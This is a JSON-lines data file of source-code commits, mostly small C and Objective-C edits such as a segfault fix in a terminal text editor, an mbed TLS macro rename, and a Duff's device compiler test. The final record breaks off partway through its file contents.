{"commit":"d5e1c63c19ff5d4b8dd74bd4b16500becd869322","old_file":"command_mode.c","new_file":"command_mode.c","old_contents":"#include \"mode.h\"\n\n#include <stdlib.h>\n#include <string.h>\n\n#include <termbox.h>\n\n#include \"buf.h\"\n#include \"editor.h\"\n\n\/\/ TODO(isbadawi): Command mode needs a cursor, but modes don't affect drawing.\nstatic void command_mode_key_pressed(editor_t *editor, struct tb_event *ev) {\n  char ch;\n  switch (ev->key) {\n  case TB_KEY_ESC:\n    buf_printf(editor->status, \"\");\n    editor->mode = normal_mode();\n    return;\n  case TB_KEY_BACKSPACE2:\n    buf_delete(editor->status, editor->status->len - 1, 1);\n    if (editor->status->len == 0) {\n      editor->mode = normal_mode();\n      return;\n    }\n    return;\n  case TB_KEY_ENTER: {\n    char *command = strdup(editor->status->buf + 1);\n    editor_execute_command(editor, command);\n    free(command);\n    editor->mode = normal_mode();\n    return;\n  }\n  case TB_KEY_SPACE:\n    ch = ' ';\n    break;\n  default:\n    ch = ev->ch;\n  }\n  char s[2] = {ch, '\\0'};\n  buf_append(editor->status, s);\n}\n\nstatic editing_mode_t impl = {command_mode_key_pressed};\n\nediting_mode_t *command_mode(void) {\n  return &impl;\n}\n","new_contents":"#include \"mode.h\"\n\n#include <stdlib.h>\n#include <string.h>\n\n#include <termbox.h>\n\n#include \"buf.h\"\n#include \"editor.h\"\n\n\/\/ TODO(isbadawi): Command mode needs a cursor, but modes don't affect drawing.\nstatic void command_mode_key_pressed(editor_t *editor, struct tb_event *ev) {\n  char ch;\n  switch (ev->key) {\n  case TB_KEY_ESC:\n    buf_printf(editor->status, \"\");\n    editor->mode = normal_mode();\n    return;\n  case TB_KEY_BACKSPACE2:\n    buf_delete(editor->status, editor->status->len - 1, 1);\n    if (editor->status->len == 0) {\n      editor->mode = normal_mode();\n      return;\n    }\n    return;\n  case TB_KEY_ENTER: {\n    if (editor->status->len > 1) {\n      char *command = strdup(editor->status->buf + 1);\n      editor_execute_command(editor, command);\n      free(command);\n    }\n    editor->mode = normal_mode();\n    return;\n  }\n  case TB_KEY_SPACE:\n    ch = ' ';\n    break;\n  default:\n    ch = ev->ch;\n  }\n  char s[2] = {ch, '\\0'};\n  buf_append(editor->status, s);\n}\n\nstatic editing_mode_t impl = {command_mode_key_pressed};\n\nediting_mode_t *command_mode(void) {\n  return &impl;\n}\n","subject":"Fix segfault on empty : command.","message":"Fix segfault on empty : command.\n","lang":"C","license":"mit","repos":"isbadawi\/badavi"}
{"commit":"1b7032c1539b38a4e6af2688bedf25ddf3450333","old_file":"test\/performance\/clock.h","new_file":"test\/performance\/clock.h","old_contents":"\/\/ A currentTime function for use in the tests.\n\n#ifdef _WIN32\nextern \"C\" bool QueryPerformanceCounter(uint64_t *);\nextern \"C\" bool QueryPerformanceFrequency(uint64_t *);\ndouble currentTime() {\n    uint64_t t, freq;\n    QueryPerformanceCounter(&t);\n    QueryPerformanceFrequency(&freq);\n    return (t * 1000.0) \/ freq;\n}\n#else\n#include <sys\/time.h>\ndouble currentTime() {\n    static bool first_call = true;\n    static timeval reference_time;\n    if (first_call) {\n        first_call = false;\n        gettimeofday(&reference_time, NULL);\n        return 0.0;\n    } else {\n        timeval t;\n        gettimeofday(&t, NULL);\n        return ((t.tv_sec - reference_time.tv_sec)*1000.0 +\n                (t.tv_usec - reference_time.tv_usec)\/1000.0);\n    }\n}\n#endif\n","new_contents":"\/\/ A currentTime function for use in the tests.\n\/\/ Returns time in milliseconds.\n\n#ifdef _WIN32\nextern \"C\" bool QueryPerformanceCounter(uint64_t *);\nextern \"C\" bool QueryPerformanceFrequency(uint64_t *);\ndouble currentTime() {\n    uint64_t t, freq;\n    QueryPerformanceCounter(&t);\n    QueryPerformanceFrequency(&freq);\n    return (t * 1000.0) \/ freq;\n}\n#else\n#include <sys\/time.h>\ndouble currentTime() {\n    static bool first_call = true;\n    static timeval reference_time;\n    if (first_call) {\n        first_call = false;\n        gettimeofday(&reference_time, NULL);\n        return 0.0;\n    } else {\n        timeval t;\n        gettimeofday(&t, NULL);\n        return ((t.tv_sec - reference_time.tv_sec)*1000.0 +\n                (t.tv_usec - reference_time.tv_usec)\/1000.0);\n    }\n}\n#endif\n","subject":"Add a comment that currentTime returns result in milliseconds.","message":"Add a comment that currentTime returns result in milliseconds.\n\n\nFormer-commit-id: 397c814dcee2df63ded6cbf17b63b601a10984e2","lang":"C","license":"mit","repos":"darkbuck\/Halide,Trass3r\/Halide,Trass3r\/Halide,darkbuck\/Halide,Trass3r\/Halide,darkbuck\/Halide,Trass3r\/Halide,darkbuck\/Halide,darkbuck\/Halide,Trass3r\/Halide,Trass3r\/Halide,darkbuck\/Halide,Trass3r\/Halide,darkbuck\/Halide"}
{"commit":"f811db9dd6a03c198717b68afd00eb56200e19bc","old_file":"src\/lcd.c","new_file":"src\/lcd.c","old_contents":"\/* COR:a.bc PE:a.bc\n   BAC:a.bc         *\/\n\nvoid lcd_voltage() {\n\n    string top, bottom;\n    sprintf(top, \"COR:%1.2f PE:%1.2f\", nImmediateBatteryLevel * 0.001, SensorValue(PowerExpanderBattery) \/ 280);\n    sprintf(bottom, \"BAC:%1.2f\", BackupBatteryLevel * 0.001);\n    displayLCDString(LCD_LINE_TOP, 0, top);\n    displayLCDString(LCD_LINE_BOTTOM, 0, bottom);\n\n}\n\nvoid lcd_clear() {\n\n    clearLCDLine(LCD_LINE_TOP);\n    clearLCDLine(LCD_LINE_BOTTOM);\n\n}\n","new_contents":"\/* COR:a.bc PE:a.bc\n   BAC:a.bc         *\/\n\nvoid lcd_voltage() {\n\n    string top, bottom;\n    sprintf(top, \"COR:%1.2f PE:%1.2f\", nImmediateBatteryLevel * 0.001, SensorValue(PowerExpanderBattery) \/ 280.0);\n    sprintf(bottom, \"BAC:%1.2f\", BackupBatteryLevel * 0.001);\n    displayLCDString(LCD_LINE_TOP, 0, top);\n    displayLCDString(LCD_LINE_BOTTOM, 0, bottom);\n\n}\n\nvoid lcd_clear() {\n\n    clearLCDLine(LCD_LINE_TOP);\n    clearLCDLine(LCD_LINE_BOTTOM);\n\n}\n","subject":"Change power expander to float","message":"Change power expander to float\n","lang":"C","license":"mit","repos":"qsctr\/vex-4194b-2016"}
{"commit":"a221dd6a4d5ebf75e3f5a278c753824914ae7661","old_file":"hopstack\/di\/main.c","new_file":"hopstack\/di\/main.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n\nstruct URI {\n    char * scheme;\n    char * user;\n    char * password;\n    char * host;\n    char * port;\n    char * path;\n    char * query;\n    char * fragment;\n};\n\nstruct rule {\n    char * name;\n    char * rule;\n    char * levels;\n    char * priority;\n};\n\nstruct URP {\n    struct URI uri;\n    struct rule * rules;\n};\n\nstruct URI * parse_uri(char * raw_uri) {\n    struct URI *uri = malloc (sizeof (struct URI));\n\n    int scheme_found = 0;\n    int scheme_end = 0;\n    char * tmp_uriptr;\n    for (tmp_uriptr = raw_uri; *tmp_uriptr != '\\0'; ++tmp_uriptr) {\n        if (*tmp_uriptr == ':') {\n            if (!scheme_found) {\n                scheme_end = tmp_uriptr - raw_uri;\n                uri->scheme = (char *) malloc(scheme_end);\n                strncpy(uri->scheme, raw_uri, scheme_end);\n                scheme_found = 1;\n            }\n        }\n    }\n    return uri;\n}\n\nint main() {\n    char * raw_uri = \"scheme:\/\/dir1\/dir2\/dir3\";\n    struct URI * parsed_uri;\n    parsed_uri = parse_uri(raw_uri);\n    printf(\"%s\\n\", parsed_uri->scheme);\n}\n\n","subject":"CREATE start of di in C","message":"CREATE start of di in C\n","lang":"C","license":"mit","repos":"willpatterson\/HOPSTACK,willpatterson\/LASubway,willpatterson\/HOPSTACK"}
{"commit":"0c7a489e65b7bc51cc15af88197eb162f54cff13","old_file":"JazzHands\/IFTTTAnimator.h","new_file":"JazzHands\/IFTTTAnimator.h","old_contents":"\/\/\n\/\/  IFTTTAnimator.h\n\/\/  JazzHands\n\/\/\n\/\/  Created by Devin Foley on 9\/28\/13.\n\/\/  Copyright (c) 2013 IFTTT Inc. All rights reserved.\n\/\/\n\n@protocol IFTTTAnimatable;\n\n@interface IFTTTAnimator : NSObject\n\n- (void)addAnimation:(id<IFTTTAnimatable>)animation;\n- (void)animate:(CGFloat)time;\n\n@end\n","new_contents":"\/\/\n\/\/  IFTTTAnimator.h\n\/\/  JazzHands\n\/\/\n\/\/  Created by Devin Foley on 9\/28\/13.\n\/\/  Copyright (c) 2013 IFTTT Inc. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@protocol IFTTTAnimatable;\n\n@interface IFTTTAnimator : NSObject\n\n- (void)addAnimation:(id<IFTTTAnimatable>)animation;\n- (void)animate:(CGFloat)time;\n\n@end\n","subject":"Add UIKit import to allow for compiling without precompiled header","message":"Add UIKit import to allow for compiling without precompiled header","lang":"C","license":"mit","repos":"IFTTT\/JazzHands,revolter\/JazzHands,IFTTT\/JazzHands,AlexanderMazaletskiy\/JazzHands,ernestopino\/JazzHands,ernestopino\/JazzHands,lionkon\/JazzHands,liuruxian\/JazzHands,zorroblue\/JazzHands,revolter\/JazzHands,AlexanderMazaletskiy\/JazzHands,wintersweet\/JazzHands,ramoslin02\/JazzHands,tangwei6423471\/JazzHands,wintersweet\/JazzHands,IFTTT\/JazzHands,lionkon\/JazzHands,lionkon\/JazzHands,marcelofariasantos\/JazzHands,tangwei6423471\/JazzHands,marcelofariasantos\/JazzHands,liuruxian\/JazzHands,marcelofariasantos\/JazzHands,liuruxian\/JazzHands,wintersweet\/JazzHands,AlexanderMazaletskiy\/JazzHands,ernestopino\/JazzHands,revolter\/JazzHands,ramoslin02\/JazzHands,liuruxian\/JazzHands,zorroblue\/JazzHands,tangwei6423471\/JazzHands,zorroblue\/JazzHands,tangwei6423471\/JazzHands,ramoslin02\/JazzHands,liuruxian\/JazzHands,tangwei6423471\/JazzHands"}
{"commit":"7f6be0874b9900c0188d7319412521f341dcf648","old_file":"Classes\/Constants.h","new_file":"Classes\/Constants.h","old_contents":"\/*\n *  Constants.h\n *  phonegap-mac\n *\n *  Created by shazron on 10-04-08.\n *  Copyright 2010 Nitobi Software Inc. All rights reserved.\n *\n *\/\n\n\n#define kStartPage @\"index.html\"\n\n\/\/Sencha Demos\n#define kStartFolder @\"www\/sencha\"\n\n\/\/ PhoneGap Docs Only\n\/\/#define kStartFolder @\"www\/phonegap-docs\/template\/phonegap\/\"\n\n","new_contents":"\/*\n *  Constants.h\n *  phonegap-mac\n *\n *  Created by shazron on 10-04-08.\n *  Copyright 2010 Nitobi Software Inc. All rights reserved.\n *\n *\/\n\n\n#define kStartPage @\"index.html\"\n\n\/\/Sencha Demos\n\/\/#define kStartFolder @\"www\/sencha\"\n\n\/\/ PhoneGap Docs Only\n#define kStartFolder @\"www\/phonegap-docs\/template\/phonegap\/\"\n\n","subject":"Revert \"kStartFolder switch back to Sencha configuration\"","message":"Revert \"kStartFolder switch back to Sencha configuration\"\n\nThis reverts commit 034cbb7f82a7c034ac8fe83c991ed6838b9a03b2.\n","lang":"C","license":"apache-2.0","repos":"adobe-rnd\/cordova-osx,apache\/cordova-osx,adobe-rnd\/cordova-osx,gitterHQ\/cordova-osx,apache\/cordova-osx,gitterHQ\/cordova-osx,Jigsaw-Code\/cordova-osx,adobe-rnd\/cordova-osx,adobe-rnd\/cordova-osx,onflapp\/cordova-osx,adobe-rnd\/cordova-osx,apache\/cordova-osx,tripodsan\/cordova-osx,Jigsaw-Code\/cordova-osx,apache\/cordova-osx,gitterHQ\/cordova-osx,onflapp\/cordova-osx,apache\/cordova-osx,Jigsaw-Code\/cordova-osx,tripodsan\/cordova-osx,onflapp\/cordova-osx,tripodsan\/cordova-osx,Jigsaw-Code\/cordova-osx,gitterHQ\/cordova-osx,onflapp\/cordova-osx,tripodsan\/cordova-osx,onflapp\/cordova-osx,tripodsan\/cordova-osx,Jigsaw-Code\/cordova-osx"}
{"commit":"59c91c8d0000af8f8a1022ee0f0eec46c397b347","old_file":"include\/clang\/AST\/CommentBriefParser.h","new_file":"include\/clang\/AST\/CommentBriefParser.h","old_contents":"\/\/===--- CommentBriefParser.h - Dumb comment parser -------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file defines a very simple Doxygen comment parser.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\n#ifndef LLVM_CLANG_AST_BRIEF_COMMENT_PARSER_H\n#define LLVM_CLANG_AST_BRIEF_COMMENT_PARSER_H\n\n#include \"clang\/AST\/CommentLexer.h\"\n\nnamespace clang {\nnamespace comments {\n\n\/\/\/ A very simple comment parser that extracts \"a brief description\".\n\/\/\/\n\/\/\/ Due to a variety of comment styles, it considers the following as \"a brief\n\/\/\/ description\", in order of priority:\n\/\/\/ \\li a \\\\brief or \\\\short command,\n\/\/\/ \\li the first paragraph,\n\/\/\/ \\li a \\\\result or \\\\return or \\\\returns paragraph.\nclass BriefParser {\n  Lexer &L;\n\n  const CommandTraits &Traits;\n\n  \/\/\/ Current lookahead token.\n  Token Tok;\n\n  SourceLocation ConsumeToken() {\n    SourceLocation Loc = Tok.getLocation();\n    L.lex(Tok);\n    return Loc;\n  }\n\npublic:\n  BriefParser(Lexer &L, const CommandTraits &Traits);\n\n  \/\/\/ Return \\\\brief paragraph, if it exists; otherwise return the first\n  \/\/\/ paragraph.\n  std::string Parse();\n};\n\n} \/\/ end namespace comments\n} \/\/ end namespace clang\n\n#endif\n\n","new_contents":"\/\/===--- CommentBriefParser.h - Dumb comment parser -------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file defines a very simple Doxygen comment parser.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\n#ifndef LLVM_CLANG_AST_BRIEF_COMMENT_PARSER_H\n#define LLVM_CLANG_AST_BRIEF_COMMENT_PARSER_H\n\n#include \"clang\/AST\/CommentLexer.h\"\n\nnamespace clang {\nnamespace comments {\n\n\/\/\/ A very simple comment parser that extracts \"a brief description\".\n\/\/\/\n\/\/\/ Due to a variety of comment styles, it considers the following as \"a brief\n\/\/\/ description\", in order of priority:\n\/\/\/ \\li a \\\\brief or \\\\short command,\n\/\/\/ \\li the first paragraph,\n\/\/\/ \\li a \\\\result or \\\\return or \\\\returns paragraph.\nclass BriefParser {\n  Lexer &L;\n\n  const CommandTraits &Traits;\n\n  \/\/\/ Current lookahead token.\n  Token Tok;\n\n  SourceLocation ConsumeToken() {\n    SourceLocation Loc = Tok.getLocation();\n    L.lex(Tok);\n    return Loc;\n  }\n\npublic:\n  BriefParser(Lexer &L, const CommandTraits &Traits);\n\n  \/\/\/ Return the best \"brief description\" we can find.\n  std::string Parse();\n};\n\n} \/\/ end namespace comments\n} \/\/ end namespace clang\n\n#endif\n\n","subject":"Update comment to match the reality.","message":"Update comment to match the reality.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@162316 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"9137574e4d330370df242a0fa6c914f2f0eb5528","old_file":"features\/mbedtls\/platform\/inc\/platform_mbed.h","new_file":"features\/mbedtls\/platform\/inc\/platform_mbed.h","old_contents":"\/**\n *  Copyright (C) 2006-2016, ARM Limited, All Rights Reserved\n *  SPDX-License-Identifier: Apache-2.0\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n *  not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *  This file is part of mbed TLS (https:\/\/tls.mbed.org)\n *\/\n\n#if defined(DEVICE_TRNG)\n#define MBEDTLS_ENTROPY_HARDWARE_ALT\n#endif\n\n#if defined(DEVICE_CRYPTO)\n#include \"mbedtls_device.h\"\n#endif\n","new_contents":"\/**\n *  Copyright (C) 2006-2016, ARM Limited, All Rights Reserved\n *  SPDX-License-Identifier: Apache-2.0\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n *  not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n *  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *  This file is part of mbed TLS (https:\/\/tls.mbed.org)\n *\/\n\n#if defined(DEVICE_TRNG)\n#define MBEDTLS_ENTROPY_HARDWARE_ALT\n#endif\n\n#if defined(MBEDTLS_HW_SUPPORT)\n#include \"mbedtls_device.h\"\n#endif\n","subject":"Move mbed TLS configuration symbol to macro section","message":"Move mbed TLS configuration symbol to macro section\n\nThe configuration option for the mbed TLS specific hardware acceleration\nhas to be in the macro section and not in the device capabilities\nsection in targets.json.\n\nThe option has also been renamed to better reflect its function.\n","lang":"C","license":"apache-2.0","repos":"netzimme\/mbed-os,nRFMesh\/mbed-os,screamerbg\/mbed,monkiineko\/mbed-os,kl-cruz\/mbed-os,screamerbg\/mbed,nvlsianpu\/mbed,ryankurte\/mbed-os,mmorenobarm\/mbed-os,screamerbg\/mbed,netzimme\/mbed-os,bcostm\/mbed-os,fanghuaqi\/mbed,adustm\/mbed,NXPmicro\/mbed,ryankurte\/mbed-os,andcor02\/mbed-os,infinnovation\/mbed-os,CalSol\/mbed,adamgreen\/mbed,CalSol\/mbed,arostm\/mbed-os,NXPmicro\/mbed,radhika-raghavendran\/mbed-os5.1-onsemi,bcostm\/mbed-os,mbedmicro\/mbed,c1728p9\/mbed-os,adamgreen\/mbed,betzw\/mbed-os,catiedev\/mbed-os,catiedev\/mbed-os,andcor02\/mbed-os,arostm\/mbed-os,ryankurte\/mbed-os,j-greffe\/mbed-os,svogl\/mbed-os,maximmbed\/mbed,pradeep-gr\/mbed-os5-onsemi,nRFMesh\/mbed-os,radhika-raghavendran\/mbed-os5.1-onsemi,Archcady\/mbed-os,CalSol\/mbed,cvtsi2sd\/mbed-os,NXPmicro\/mbed,kl-cruz\/mbed-os,nvlsianpu\/mbed,mikaleppanen\/mbed-os,fanghuaqi\/mbed,kjbracey-arm\/mbed,cvtsi2sd\/mbed-os,mmorenobarm\/mbed-os,YarivCol\/mbed-os,CalSol\/mbed,adamgreen\/mbed,mikaleppanen\/mbed-os,betzw\/mbed-os,c1728p9\/mbed-os,maximmbed\/mbed,pradeep-gr\/mbed-os5-onsemi,j-greffe\/mbed-os,c1728p9\/mbed-os,ryankurte\/mbed-os,fahhem\/mbed-os,mbedmicro\/mbed,fahhem\/mbed-os,bcostm\/mbed-os,catiedev\/mbed-os,Archcady\/mbed-os,mbedmicro\/mbed,radhika-raghavendran\/mbed-os5.1-onsemi,c1728p9\/mbed-os,infinnovation\/mbed-os,nvlsianpu\/mbed,bulislaw\/mbed-os,nRFMesh\/mbed-os,netzimme\/mbed-os,nRFMesh\/mbed-os,adustm\/mbed,theotherjimmy\/mbed,HeadsUpDisplayInc\/mbed,screamerbg\/mbed,cvtsi2sd\/mbed-os,arostm\/mbed-os,svogl\/mbed-os,c1728p9\/mbed-os,netzimme\/mbed-os,RonEld\/mbed,mazimkhan\/mbed-os,bulislaw\/mbed-os,fanghuaqi\/mbed,kjbracey-arm\/mbed,nRFMesh\/mbed-os,HeadsUpDisplayInc\/mbed,infinnovation\/mbed-os,CalSol\/mbed,RonEld\/mbed,kl-cruz\/mbed-os,mikaleppanen\/mbed-os,Archcady\/mbed-os,adustm\/mbed,adamgreen\/mbed,arostm\/mbed-os,netzimme\/mbed-os,catiedev\/mbed-os,YarivCol\/mbed-os,svogl\/mbed-os,theotherjimmy\/mbed,mmorenobarm\/mbed-os,RonEld\/mbed,YarivCol\/mbed-os,RonEld\/mbed,nRFMesh\/mbed-os,karsev\/mbed-os,YarivCol\/mbed-os,netzimme\/mbed-os,mazimkhan\/mbed-os,monkiineko\/mbed-os,mikaleppanen\/mbed-os,bulislaw\/mbed-os,karsev\/mbed-os,nvlsianpu\/mbed,adamgreen\/mbed,infinnovation\/mbed-os,nvlsianpu\/mbed,arostm\/mbed-os,andcor02\/mbed-os,karsev\/mbed-os,YarivCol\/mbed-os,bcostm\/mbed-os,theotherjimmy\/mbed,mbedmicro\/mbed,fahhem\/mbed-os,CalSol\/mbed,maximmbed\/mbed,HeadsUpDisplayInc\/mbed,HeadsUpDisplayInc\/mbed,fahhem\/mbed-os,mmorenobarm\/mbed-os,radhika-raghavendran\/mbed-os5.1-onsemi,svogl\/mbed-os,catiedev\/mbed-os,bcostm\/mbed-os,svogl\/mbed-os,radhika-raghavendran\/mbed-os5.1-onsemi,cvtsi2sd\/mbed-os,kjbracey-arm\/mbed,j-greffe\/mbed-os,adamgreen\/mbed,monkiineko\/mbed-os,mmorenobarm\/mbed-os,catiedev\/mbed-os,adustm\/mbed,Archcady\/mbed-os,radhika-raghavendran\/mbed-os5.1-onsemi,theotherjimmy\/mbed,j-greffe\/mbed-os,pradeep-gr\/mbed-os5-onsemi,monkiineko\/mbed-os,bulislaw\/mbed-os,adustm\/mbed,mazimkhan\/mbed-os,theotherjimmy\/mbed,betzw\/mbed-os,pradeep-gr\/mbed-os5-onsemi,monkiineko\/mbed-os,mbedmicro\/mbed,cvtsi2sd\/mbed-os,maximmbed\/mbed,maximmbed\/mbed,mikaleppanen\/mbed-os,infinnovation\/mbed-os,j-greffe\/mbed-os,andcor02\/mbed-os,fahhem\/mbed-os,karsev\/mbed-os,betzw\/mbed-os,mikaleppanen\/mbed-os,fanghuaqi\/mbed,mazimkhan\/mbed-os,pradeep-gr\/mbed-os5-onsemi,karsev\/mbed-os,ryankurte\/mbed-os,mmorenobarm\/mbed-os,mazimkhan\/mbed-os,RonEld\/mbed,monkiineko\/mbed-os,infinnovation\/mbed-os,ryankurte\/mbed-os,NXPmicro\/mbed,maximmbed\/mbed,andcor02\/mbed-os,RonEld\/mbed,arostm\/mbed-os,mazimkhan\/mbed-os,NXPmicro\/mbed,karsev\/mbed-os,betzw\/mbed-os,pradeep-gr\/mbed-os5-onsemi,Archcady\/mbed-os,kl-cruz\/mbed-os,cvtsi2sd\/mbed-os,andcor02\/mbed-os,bulislaw\/mbed-os,YarivCol\/mbed-os,betzw\/mbed-os,HeadsUpDisplayInc\/mbed,fahhem\/mbed-os,kl-cruz\/mbed-os,svogl\/mbed-os,c1728p9\/mbed-os,Archcady\/mbed-os,NXPmicro\/mbed,HeadsUpDisplayInc\/mbed,theotherjimmy\/mbed,nvlsianpu\/mbed,bcostm\/mbed-os,fanghuaqi\/mbed,bulislaw\/mbed-os,kjbracey-arm\/mbed,j-greffe\/mbed-os,kl-cruz\/mbed-os,screamerbg\/mbed,adustm\/mbed,screamerbg\/mbed"}
{"commit":"dcbb118c40a472014ca77bf3f63afc35651657cc","old_file":"inc\/area.h","new_file":"inc\/area.h","old_contents":"#ifndef AREA_H\n#define AREA_H\n#include \"base.h\"\n\ntypedef struct area area;\nstruct area{\n  char name[10];\n  int capacity;\n  int areasAround;\n  char ** adjec; \/\/ STRINGS SIZE ARE ALWAYS 10\n};\n\nvoid listAreas(area * a, int size);\nvoid addArea(area * a, int size);\nvoid deleteArea(area * a, int size);\n\n#endif\n","new_contents":"#ifndef AREA_H\n#define AREA_H\n#include \"base.h\"\n\ntypedef struct area area;\nstruct area{\n  char name[10];\n  int capacity;\n  int areasAround;\n  char ** adjec; \/\/ STRINGS SIZE ARE ALWAYS 10\n};\n\nvoid listAreas(area * a, int size);\nvoid addArea(area ** a, int *size);\nvoid deleteArea(area ** a, int *size);\n\nint checkAreaExist(area * z, int zSize, char * areaName);\nint getAreaCapacity(area * z, int zSize, char * areaName);\n\n#endif\n","subject":"Add Area capacity functions. Add addArea function","message":"Add Area capacity functions. Add addArea function\n","lang":"C","license":"mit","repos":"leovegetium\/Trabalho-P"}
{"commit":"06ccd3a0b986f0eb634bf642fe69ba9434a39ed2","old_file":"cc1\/tests\/test036.c","new_file":"cc1\/tests\/test036.c","old_contents":"","new_contents":"\n\/*\nname: TEST036\ndescription: Duff's device\noutput:\n\n*\/\n\n\/* Disgusting, no?  But it compiles and runs just fine.  I feel a combination of\n   pride and revulsion at this discovery.  If no one's thought of it before,\n   I think I'll name it after myself.\n   It amazes me that after 10 years of writing C there are still\n   little corners that I haven't explored fully.\n   - Tom Duff *\/\n\nsend(to, from, count)\n\tregister short *to, *from;\n\tregister count;\n{\n\tregister n=(count+7)\/8;\n\tswitch(count%8){\n\tcase 0:      do{*to = *from++;\n\tcase 7:           *to = *from++;\n\tcase 6:           *to = *from++;\n\tcase 5:           *to = *from++;\n\tcase 4:           *to = *from++;\n\tcase 3:           *to = *from++;\n\tcase 2:           *to = *from++;\n\tcase 1:           *to = *from++;\n\t                    }while(--n>0);\n\t}\n}\n","subject":"Add test for Duff device","message":"Add test for Duff device\n","lang":"C","license":"mit","repos":"k0gaMSX\/kcc,k0gaMSX\/scc,8l\/scc,k0gaMSX\/kcc,k0gaMSX\/scc,8l\/scc,k0gaMSX\/scc,8l\/scc"}
{"commit":"941075e6a69846082231e76aca8642d299c2093c","old_file":"polygon.h","new_file":"polygon.h","old_contents":"#ifndef _POLYGON_H_\n#define _POLYGON_H_\n\n\/*\n * geometric properties of the polygon meant for solving\n *\n * The default C pre-processor configuration here is to solve triangles.\n *\/\n\n#define POLYGON_DEPTH           3\n#if (POLYGON_DEPTH < 3)\n#error You cannot have a polygon with fewer than 3 sides!\n#endif\n#if (POLYGON_DEPTH > 'Z' - 'A')\n#error Angle labels are currently lettered.  Sorry for this limitation.\n#endif\n\n\/*\n * All polygons have a fixed limit to the total measure of their angles.\n * For example, the angles of a triangle always sum up to 180 degrees.\n *\/\n#define INTERIOR_DEGREES        (180 * ((POLYGON_DEPTH) - 2))\n\n\/*\n * Geometric lengths cannot be negative or zero.\n * We will reserve non-positive measures to indicate un-solved \"unknowns\".\n *\/\n#define KNOWN(measure)          ((measure) > 0)\n\nextern int solve_polygon(double * angles, double * sides);\nextern int already_solved(double * angels, double * sides);\n\nextern int find_angle(double * angles);\nextern int find_side(double * sides, const double * angles);\nextern int arc_find_angles(double * angles, const double * sides);\n\n#endif\n","new_contents":"#ifndef _POLYGON_H_\n#define _POLYGON_H_\n\n\/*\n * geometric properties of the polygon meant for solving\n *\n * The default C pre-processor configuration here is to solve triangles.\n *\/\n#ifndef POLYGON_DEPTH\n#define POLYGON_DEPTH           3\n#endif\n\n#if (POLYGON_DEPTH < 3)\n#error You cannot have a polygon with fewer than 3 sides!\n#endif\n#if (POLYGON_DEPTH > 'Z' - 'A')\n#error Angle labels are currently lettered.  Sorry for this limitation.\n#endif\n\n\/*\n * All polygons have a fixed limit to the total measure of their angles.\n * For example, the angles of a triangle always sum up to 180 degrees.\n *\/\n#define INTERIOR_DEGREES        (180 * ((POLYGON_DEPTH) - 2))\n\n\/*\n * Geometric lengths cannot be negative or zero.\n * We will reserve non-positive measures to indicate un-solved \"unknowns\".\n *\/\n#define KNOWN(measure)          ((measure) > 0)\n\nextern int solve_polygon(double * angles, double * sides);\nextern int already_solved(double * angels, double * sides);\n\nextern int find_angle(double * angles);\nextern int find_side(double * sides, const double * angles);\nextern int arc_find_angles(double * angles, const double * sides);\n\n#endif\n","subject":"Allow POLYGON_DEPTH to be configurable by compile commands.","message":"Allow POLYGON_DEPTH to be configurable by compile commands.\n","lang":"C","license":"cc0-1.0","repos":"cxd4\/trig,cxd4\/trig"}
{"commit":"6e2253071014ec086daa6e1ad4c10d955617e5a5","old_file":"ASN1Decoder\/ASN1Decoder.h","new_file":"ASN1Decoder\/ASN1Decoder.h","old_contents":"\/\/\n\/\/  ASN1Decoder.h\n\/\/  ASN1Decoder\n\/\/\n\/\/  Created by Filippo Maguolo on 8\/29\/17.\n\/\/  Copyright © 2017 Filippo Maguolo. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for ASN1Decoder.\nFOUNDATION_EXPORT double ASN1DecoderVersionNumber;\n\n\/\/! Project version string for ASN1Decoder.\nFOUNDATION_EXPORT const unsigned char ASN1DecoderVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <ASN1Decoder\/PublicHeader.h>\n\n\n","new_contents":"\/\/\n\/\/  ASN1Decoder.h\n\/\/  ASN1Decoder\n\/\/\n\/\/  Created by Filippo Maguolo on 8\/29\/17.\n\/\/  Copyright © 2017 Filippo Maguolo. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n\/\/! Project version number for ASN1Decoder.\nFOUNDATION_EXPORT double 